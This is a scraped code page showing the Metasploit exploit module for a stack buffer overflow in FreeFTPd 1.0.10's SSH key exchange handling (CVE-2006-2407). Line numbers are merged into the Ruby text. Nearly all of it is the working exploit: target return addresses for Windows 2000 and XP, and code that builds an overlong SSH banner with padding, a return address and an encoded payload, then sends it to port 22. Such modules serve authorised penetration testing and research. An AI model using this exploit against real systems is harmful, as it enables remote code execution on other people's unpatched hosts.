Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ssh/freeftpd_key_exchange.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow',13'Description' => %q{14This module exploits a simple stack buffer overflow in FreeFTPd 1.0.1015This flaw is due to a buffer overflow error when handling a specially16crafted key exchange algorithm string received from an SSH client.17This module is based on MC's freesshd_key_exchange exploit.18},19'Author' => 'riaf <riaf[at]mysec.org>',20'License' => BSD_LICENSE,21'References' =>22[23['CVE', '2006-2407'],24['OSVDB', '25569'],25['BID', '17958'],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 500,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x750231e2 } ],41[ 'Windows 2000 SP0-SP4 German', { 'Ret' => 0x74f931e2 } ],42[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1d54 } ],43[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],44],45'Privileged' => true,46'DisclosureDate' => '2006-05-12',47'DefaultTarget' => 0))4849register_options(50[51Opt::RPORT(22)52])53end5455def exploit56connect5758sploit = "SSH-2.0-OpenSSH_3.9p1"59sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"60sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"61sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')62sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"6364res = sock.recv(40)65if ( res =~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/)66print_status("Trying target #{target.name}...")67sock.put(sploit)68else69print_status("Not running a vulnerable version...")70end7172handler73disconnect7475end76end777879